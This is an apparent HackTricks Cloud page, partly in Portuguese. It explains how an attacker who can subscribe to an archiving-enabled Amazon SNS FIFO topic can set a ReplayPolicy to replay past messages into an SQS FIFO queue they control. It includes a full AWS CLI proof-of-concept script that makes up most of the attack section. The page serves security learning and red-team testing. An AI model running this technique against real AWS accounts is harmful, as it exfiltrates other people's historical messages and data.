SNS FIFO Archive Replay Exfiltration via Attacker SQS FIFO Subscription
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao đŹ grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter đŠ @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositĂłrios do github.
Abuso do arquivamento de mensagens de um tĂłpico Amazon SNS FIFO para reproduzir e exfiltrar mensagens publicadas anteriormente para uma fila SQS FIFO controlada pelo atacante, configurando o ReplayPolicy da assinatura.
- Service: Amazon SNS (FIFO topics) + Amazon SQS (FIFO queues)
- Requirements: Topic must have ArchivePolicy enabled (message archiving). Attacker can Subscribe to the topic and set attributes on their subscription. Attacker controls an SQS FIFO queue and allows the topic to send messages.
- Impact: Historical messages (published before the subscription) can be delivered to the attacker endpoint. Replayed deliveries are flagged with Replayed=true in the SNS envelope.
Pré-requisitos
- SNS FIFO topic with archiving enabled:
ArchivePolicy(e.g.,{ "MessageRetentionPeriod": "2" }for 2 days). - Atacante tem permissÔes para:
sns:Subscribeon the target topic.sns:SetSubscriptionAttributeson the created subscription.- Atacante possui uma fila SQS FIFO e pode anexar uma polĂtica de fila permitindo
sns:SendMessagefrom the topic ARN.
PermissĂ”es IAM mĂnimas
- On topic:
sns:Subscribe. - On subscription:
sns:SetSubscriptionAttributes. - On queue:
sqs:SetQueueAttributesfor policy, and queue policy permittingsns:SendMessagefrom the topic ARN.
Attack: Replay archived messages to attacker SQS FIFO
O atacante subscreve sua fila SQS FIFO ao tĂłpico SNS FIFO da vĂtima e, em seguida, define o ReplayPolicy para um timestamp no passado (dentro da janela de retenção do arquivo). O SNS imediatamente reexecuta as mensagens arquivadas correspondentes para a nova assinatura e as marca com Replayed=true.
Notes:
- The timestamp used in
ReplayPolicymust be >= the topicâsBeginningArchiveTime. If itâs earlier, the API returnsInvalid StartingPoint value. - For SNS FIFO
Publish, you must specify aMessageGroupId(and either dedup ID or enableContentBasedDeduplication).
POC CLI de ponta a ponta (us-east-1)
```bash REGION=us-east-1 # Compute a starting point; adjust later to >= BeginningArchiveTime if needed TS_START=$(python3 - << 'PY' from datetime import datetime, timezone, timedelta print((datetime.now(timezone.utc) - timedelta(minutes=15)).strftime('%Y-%m-%dT%H:%M:%SZ')) PY )1) Create SNS FIFO topic with archiving (2-day retention)
TOPIC_NAME=htreplay$(date +%s).fifo
TOPIC_ARN=$(aws sns create-topic âregion â$REGIONâ
âcli-input-json â{âNameâ:âââ$TOPIC_NAMEâââ,âAttributesâ:{âFifoTopicâ:âtrueâ,âContentBasedDeduplicationâ:âtrueâ,âArchivePolicyâ:â{"MessageRetentionPeriod":"2"}â}}â
âquery TopicArn âoutput text)
echo âTopic: $TOPIC_ARNâ
2) Publish a few messages BEFORE subscribing (FIFO requires MessageGroupId)
for i in $(seq 1 3); do
aws sns publish âregion â$REGIONâ âtopic-arn â$TOPIC_ARNâ
âmessage â{"orderId":$i,"secret":"ssn-123-45-678$i"}â
âmessage-group-id g1 >/dev/null
done
3) Create attacker SQS FIFO queue and allow only this topic to send
Q_URL=$(aws sqs create-queue âqueue-name ht-replay-exfil-q-$(date +%s).fifo
âattributes FifoQueue=true âregion â$REGIONâ âquery QueueUrl âoutput text)
Q_ARN=$(aws sqs get-queue-attributes âqueue-url â$Q_URLâ âregion â$REGIONâ
âattribute-names QueueArn âquery Attributes.QueueArn âoutput text)
cat > /tmp/ht-replay-sqs-policy.json <<JSON {âVersionâ:â2012-10-17â,âStatementâ:[{âSidâ:âAllowSNSSendâ,âEffectâ:âAllowâ,âPrincipalâ:{âServiceâ:âsns.amazonaws.comâ},âActionâ:âsqs:SendMessageâ,âResourceâ:â$Q_ARNâ,âConditionâ:{âArnEqualsâ:{âaws:SourceArnâ:â$TOPIC_ARNâ}}}]} JSON
Use CLI input JSON to avoid quoting issues
aws sqs set-queue-attributes âregion â$REGIONâ âcli-input-json â$(python3 - << âPYâ import json, os print(json.dumps({ âQueueUrlâ: os.environ[âQ_URLâ], âAttributesâ: {âPolicyâ: open(â/tmp/ht-replay-sqs-policy.jsonâ).read()} })) PY )â
4) Subscribe the queue to the topic
SUB_ARN=$(aws sns subscribe âregion â$REGIONâ âtopic-arn â$TOPIC_ARNâ
âprotocol sqs ânotification-endpoint â$Q_ARNâ âquery SubscriptionArn âoutput text)
echo âSubscription: $SUB_ARNâ
5) Ensure StartingPoint is >= BeginningArchiveTime
BEGIN=$(aws sns get-topic-attributes âregion â$REGIONâ âtopic-arn â$TOPIC_ARNâ âquery Attributes.BeginningArchiveTime âoutput text) START=${TS_START} if [ -n â$BEGINâ ]; then START=â$BEGINâ; fi
aws sns set-subscription-attributes âregion â$REGIONâ âsubscription-arn â$SUB_ARNâ
âattribute-name ReplayPolicy
âattribute-value â{"PointType":"Timestamp","StartingPoint":"$START"}â
6) Receive replayed messages (note Replayed=true in the SNS envelope)
aws sqs receive-message âqueue-url â$Q_URLâ âregion â$REGIONâ
âmax-number-of-messages 10 âwait-time-seconds 10
âmessage-attribute-names All âattribute-names All
</details>
## Impacto
**Impacto Potencial**: Um atacante que conseguir inscrever-se em um tĂłpico SNS FIFO com arquivamento ativado e definir `ReplayPolicy` na sua assinatura pode imediatamente reproduzir e exfiltrar mensagens histĂłricas publicadas nesse tĂłpico, nĂŁo apenas mensagens enviadas depois que a assinatura foi criada. As mensagens entregues incluem uma flag `Replayed=true` no envelope do SNS.
> [!TIP]
> Aprenda e pratique Hacking AWS:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Aprenda e pratique Hacking GCP: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Aprenda e pratique Hacking Azure: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Support HackTricks</summary>
>
> - Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
> - **Junte-se ao** đŹ [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** đŠ [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositĂłrios do github.
>
> </details>
HackTricks Cloud

